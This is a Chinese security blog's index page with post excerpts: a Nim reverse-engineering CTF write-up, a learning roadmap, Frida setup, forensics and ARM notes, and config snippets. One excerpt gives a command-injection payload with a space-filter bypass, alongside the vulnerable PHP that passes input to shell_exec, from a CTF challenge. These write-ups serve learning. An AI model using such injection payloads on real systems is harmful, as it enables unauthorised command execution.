时间从来不语,却回答了很多问题


一个人做了所有题,说实话有点累,哎

RE

babynim

和初赛一样的nim语言逆向,die识别出了虚拟机保护但实际上关键代码没有保护,有之前的经验逆起来更简单了,就是输入的字符串转换成大数与一个常数相乘(还伪装得很像一个flag),结果与常数相等。

所以除一下就是flag了。

审计后的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
__int64 NimMainModule()
{
FILE *stdio; // rax
String *input; // rax
__int64 *v2; // rdx
String *input_copy; // rsi
__int64 v4; // rdi
__int64 checkhello3_copy; // rax
__int64 index; // rbx
String *pre_5_String; // rdi
String *input_copy_copy; // rdi
__int64 input_copy_len; // rdx
__int64 v11; // rdx
__int64 index_2; // rbx
__int64 v13; // rcx
String *flag_content_string; // rbp
__int64 length; // rdx
unsigned __int64 v16; // rsi
__int64 star_des_copy; // rbx
__int64 v18; // rdx
unsigned __int64 v19; // rcx
__int64 unknownProperty; // rdi
__int64 *p_unknownProperty; // rdx
__m128i tmp_si128_2; // [rsp+20h] [rbp-58h] BYREF
__m128i tmp_si128_1; // [rsp+30h] [rbp-48h] BYREF
__int64 star_des_1; // [rsp+40h] [rbp-38h] BYREF
__int64 v25; // [rsp+48h] [rbp-30h]

nimRegisterGlobalMarker(TM__xLHv575t3PG1lB5wK05Xqg_4);
nimRegisterGlobalMarker(TM__xLHv575t3PG1lB5wK05Xqg_10);
nimRegisterGlobalMarker(TM__xLHv575t3PG1lB5wK05Xqg_11);
nimRegisterGlobalMarker(TM__xLHv575t3PG1lB5wK05Xqg_13);
nimRegisterGlobalMarker(TM__xLHv575t3PG1lB5wK05Xqg_14);
nimRegisterGlobalMarker(TM__xLHv575t3PG1lB5wK05Xqg_15);
PutStdio(&TM__xLHv575t3PG1lB5wK05Xqg_2, 1i64);
stdio = __acrt_iob_func(0);
input = (String *)readLineFromStdio(stdio);
input_copy = input;
if ( !input )
{
if ( ::input_copy )
{
unknownProperty = ::input_copy[-1].unknownProperty;
p_unknownProperty = &::input_copy[-1].unknownProperty;
::input_copy[-1].unknownProperty = unknownProperty - 8;
if ( (unsigned __int64)(unknownProperty - 8) <= 7 )
addZCT__system_5314(refptr_gch__system_5267 + 3, p_unknownProperty);
::input_copy = 0i64;
}
goto error;
}
input[-1].unknownProperty += 8i64;
if ( ::input_copy
&& (v4 = ::input_copy[-1].unknownProperty,
v2 = &::input_copy[-1].unknownProperty,
::input_copy[-1].unknownProperty = v4 - 8,
(unsigned __int64)(v4 - 8) <= 7) )
{
addZCT__system_5314(refptr_gch__system_5267 + 3, v2);
::input_copy = input_copy;
if ( input_copy->length != 42 )
goto error;
}
else
{
::input_copy = input;
if ( input->length != 42 ) // 长度42
{
error:
checkhello3_copy = check__hello_3;
goto error_;
}
}
index = 0i64;
pre_5_String = mnewString(5i64, v2);
if ( !pre_5_String )
raiseIndexError2(0i64, -1i64);
do
{
if ( (unsigned __int64)index >= pre_5_String->length )
raiseIndexError2(index, pre_5_String->length - 1);
if ( (unsigned __int64)index >= input_copy->length )
raiseIndexError2(index, input_copy->length - 1);
pre_5_String->content[index] = input_copy->content[index];
++index;
}
while ( index <= 4 ); // 提取前5字节flag{到new_string_1
if ( pre_5_String->length != 5 || *(_DWORD *)pre_5_String->content != 1734437990 || pre_5_String->content[4] != 123 )
goto error;
input_copy_copy = ::input_copy;
if ( !::input_copy )
{
v11 = -1i64;
LABEL_21:
raiseIndexError2(41i64, v11);
}
input_copy_len = ::input_copy->length;
if ( ::input_copy->length <= 0x29ui64 )
{
v11 = input_copy_len - 1;
goto LABEL_21;
}
checkhello3_copy = check__hello_3;
if ( BYTE1(::input_copy[2].unknownProperty) == '}' )// 确定最后一字节
{
index_2 = 0i64;
flag_content_string = mnewString(36i64, input_copy_len);
if ( !flag_content_string )
raiseIndexError2(0i64, -1i64);
do
{
length = flag_content_string->length;
if ( flag_content_string->length <= (unsigned __int64)index_2 )
raiseIndexError2(index_2, length - 1);
v16 = index_2 + 5;
if ( index_2 + 5 < 0 || v16 < index_2 )
raiseOverflow(v13, length);
if ( input_copy_copy->length <= v16 )
raiseIndexError2(index_2 + 5, input_copy_copy->length - 1);
flag_content_string->content[index_2++] = input_copy_copy->content[v16];
}
while ( index_2 <= 35 ); // 提取36字节flag括号内数字内容
InitBigInt(flag_content_string, 10i64, &flag_Int);// InitBitInt(src*, 进制, des*)
InitBigInt(&Const_String_1, 10i64, &const_string_1_Int);
star_des_1 = 0i64;
v25 = 0i64;
tmp_si128_1 = _mm_loadu_si128((const __m128i *)&flag_Int);// 输入的int
tmp_si128_2 = _mm_loadu_si128((const __m128i *)&const_string_1_Int);// 常量1
multiply((__int64)&tmp_si128_1, (__int64)&tmp_si128_2, &star_des_1);
star_des_copy = star_des_1;
if ( star_des_1 )
*(_QWORD *)(star_des_1 - 16) += 8i64;
if ( star_des_copy_copy )
{
v18 = star_des_copy_copy - 16;
v19 = *(_QWORD *)(star_des_copy_copy - 16) - 8i64;
*(_QWORD *)(star_des_copy_copy - 16) = v19;
if ( v19 <= 7 )
addZCT__system_5314(refptr_gch__system_5267 + 3, v18);
}
star_des_copy_copy = star_des_copy;
byte_42C188 = v25;
genericSeqAssign(&star_des_deep_copy);
BYTE8(star_des_deep_copy) = byte_42C188;
InitBigInt(&const_String_2, 10i64, &const_string_2_int);
tmp_si128_1 = _mm_loadu_si128((const __m128i *)&star_des_deep_copy);// 结果1
tmp_si128_2 = _mm_loadu_si128((const __m128i *)&const_string_2_int);// 常量结果
if ( eqeq___6758Z85sersZ65ZOnimbleZpkgsZbigints4548O53O48Zbigints_259(&tmp_si128_1, &tmp_si128_2) )
{ // 比较
check__hello_3 = 1i64;
return PutStdio(&String_Win, 1i64);
}
goto error;
}
error_:
if ( checkhello3_copy != 1 )
return PutStdio(&error_string, 1i64);
return PutStdio(&String_Win, 1i64);
}

exp:

1
2
3
4
5
6
7
8
9
10
11
# input = 123456789012345678901234567890123456
# input = 0xb1f36611aeca2ac04775feb51d2b7f

const_one = 56006392793428440965060594343955737638876552919041519193476344215226028549209672868995436445345986471

# print(hex(input * const_one))

const_two = 51748409119571493927314047697799213641286278894049840228804594223988372501782894889443165173295123444031074892600769905627166718788675801

print(hex(const_two // const_one))
# print(input)

MISC

阅读全文


post @ 2022-08-01

[GXYCTF2019]Ping Ping Ping

rce bypass:空格绕过

过滤了常用命令行字符

image-20220801184211994

payload:

1
/?ip=127.0.0.1;cat$IFS$9`ls`
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$flag = "flag{b86f81d8-ad3d-40db-9c96-6608515e33da}";
?>
/?ip=
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}

?>

浅谈CTF中命令执行与绕过的小技巧 | Pupiles blog

RCE的Bypass与骚姿势总结 - 腾讯云开发者社区-腾讯云

Linux Shell 中的反引号,单引号,双引号

阅读全文


post @ 2022-07-28

介绍

frida是平台原生appGreasemonkey,说的专业一点,就是一种动态插桩工具,可以插入一些代码到原生app的内存空间去,(动态地监视和修改其行为),这些原生平台可以是WinMacLinuxAndroid或者iOS。而且frida还是开源的。

框架从Java层hook到Native层hook无所不能,虽然持久化还是要依靠Xposedhookzz等开发框架,但是frida的动态和灵活对逆向以及自动化逆向的帮助非常巨大。

安装和部署frida

官方网站:Frida • A world-class dynamic instrumentation framework | Inject JavaScript to explore native apps on Windows, macOS, GNU/Linux, iOS, Android, and QNX

安装

1
2
pip install frida-tools
frida --version

部署frida-server

前往github项目Releases · frida/frida

下载相同版本的frida-server发行文件,注意请使用测试机器上的架构,如果是模拟器则是x86的

使用adb连接手机后,将文件上传到手机/data/local/tmp文件夹

阅读全文


阅读全文


二进制安全学习路线

决定学二进制,总结的一套学习路线。坚持,不懈,你一定能成功。

二进制安全未来就业方向:

  • windows(逆向分析、病毒分析、爬虫)不太推荐,要求高,岗位少。

  • Linux环境:二进制漏洞挖掘与研究,包括IOT、车联网、移动安全(漏洞挖掘,加固开发,爬虫开发)等(目前有一定需求,待遇还不错)。

学习的同时参加CTF比赛,以赛促学,学习CTF中的技术。学习道路并非一定顺序进行。多实战、多自我总结、规划。同时不要自我局限,同时接触一些其他领域将更有竞争力。

  • 基础(3-4个月):C/C++(侯捷C++教程、visual c++2013入门经典),C++数据结构,x86汇编(王爽汇编语言、李忠从实模式到保护模式)

    • 环境编程(1-2个月):windows/linux环境编程(精通windowsapi)。

    • 操作系统(1-2个月):操作系统导论、程序员的自我修养(必看)、CSAPP

    • 逆向工程入门(1-2个月):C++反汇编与逆向分析技术解密、逆向工程核心原理、IDAPro权威指南

  • 进阶阶段:

    • 移动安全:Java、安卓开发、NDK开发、smali/Darvik汇编、arm汇编、Android软件安全权威指南、frida框架、Xposed框架、epdf等技术。

    • windows逆向、病毒分析、病毒挖掘:木马、病毒、渗透技术等、需要深入了解windows内核、尝试审计winxp的泄漏源代码、历史高危漏洞分析复现包括MS17-010、cve2020-0796等。

    • 二进制漏洞分析、IOT安全、Linux漏洞挖掘:需要学习栈溢出、堆溢出、污点追踪、符号执行、fuzz、等等等等。

Windows平台逆向学习路线

总结自B站大佬:逆向黑客零基础入门路线以及学习资料和书籍_哔哩哔哩_bilibili

首先语言:肯定要懂c++,学起来比较平顺的是visual c++2013入门经典(第七版)十二章之前看完就行了,然后就是汇编语言基本上你能看懂就行了,王爽或者黑皮书

然后你就要了解操作系统,windows看精通windowsapi,看完才真正能够在windows下做东西了,但是用起来还有很多注意的地方更深入的了解内存和操作系统一些机制就要去看windows核心编程(第五版),这些都是基于windows公开api,还有非公开的api有windowsnt/2000本机api,这书中文基本上买不到了

阅读全文


电子取证

手机取证_1

打开苹果测试查看程序,搜索关键字:627604C2-C586-48C1-AA16-FF33C3022159.PNG

image-20220709172345189

然后再导出图片

image-20220709172419812

查看图片的属性

手机取证_2

直接搜索姜总,发现快递单号

阅读全文


总结

先把总结放前面。从这次比赛到现在自我反思的几个问题:

  1. 向全栈安全方向学习。跟大佬聊,做二进制还是要懂web。比如桌面平台的二进制,移动安全,iot安全,都是会涉及到web安全。如今混合开发也非常流行,唯有全栈才是出路。
  2. 慢即是快。比赛中有几个低级失误导致白给多题。其实如果细心应该能发现问题。python3默认输出大数会使用科学计数法,此时直接用int只会让低位信息直接丢失,不会产生正确的结果。
  3. 别用volatility3。版本太新,和2的版本有很多改变的地方,导致使用方法和2有区别。血的教训。

PNGCracker

首先看到图片的高度不对,怀疑是高度隐写,用010edit打开修改图片的高度。后面发现得到了一个密码。猜测是压缩包密码

1656150677301

尝试用binwalk分离,得到一个压缩包,用之前得到的密码可以解开

1656150701773

将图片用set 打开, 发现在red、green和bule的图片下面存在一行模糊的内容,lsb隐写,(red、green、Bule为1)

1656150709646

阅读全文


post @ 2022-06-29

前言

逆向安卓或者其他arm平台应用的时候,阅读arm汇编是必不可少的。这里对arm汇编知识点做一个总结和记录。

arm汇编基础

arm9内核寄存器组

image-20220710104847044

arm9内核工作模式

image-20220710105026605

当前程序状态寄存器CPSR

image-20220710105123125

arm指令的格式

阅读全文


post @ 2022-06-19

~/.InitWsl

1
2
3
4
5
6
7
8
9
10
11
#! /bin/bash
host="$(cat /etc/resolv.conf |grep "nameserver" |cut -f 2 -d " ")"
# echo $host
export http_proxy="http://${host}:10809"
export https_proxy="http://${host}:10809"
export all_proxy="socks5://${host}:10808"
$(git config --global http.proxy "socks5://${host}:10808")
$(git config --global https.proxy "socks5://${host}:10808")


alias t="tmux"
阅读全文


描述

在github的设置添加了密钥,其他系统也能使用此密钥对进行push,但是windows就是不行(试了很多方法包括添加到了ssh-agent)。最后发现是没有设置ssh针对host使用对应私钥的问题。

解决

~/.ssh/目录下创建config文件或者修改已有的ssh配置文件,然后写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# github
Host github.com
HostName github.com
IdentityFile /path/to/id_rsa
PreferredAuthentications publickey
User yourusername

# custom gitlab
Host ${gitlab_ip}
HostName ${gitlab_ip}
IdentityFile C:\Users\kcaok\.ssh\gitlab_id_rsa
PreferredAuthentications publickey
User gitlab



PubkeyAcceptedKeyTypes +ssh-rsa
阅读全文
⬆︎TOP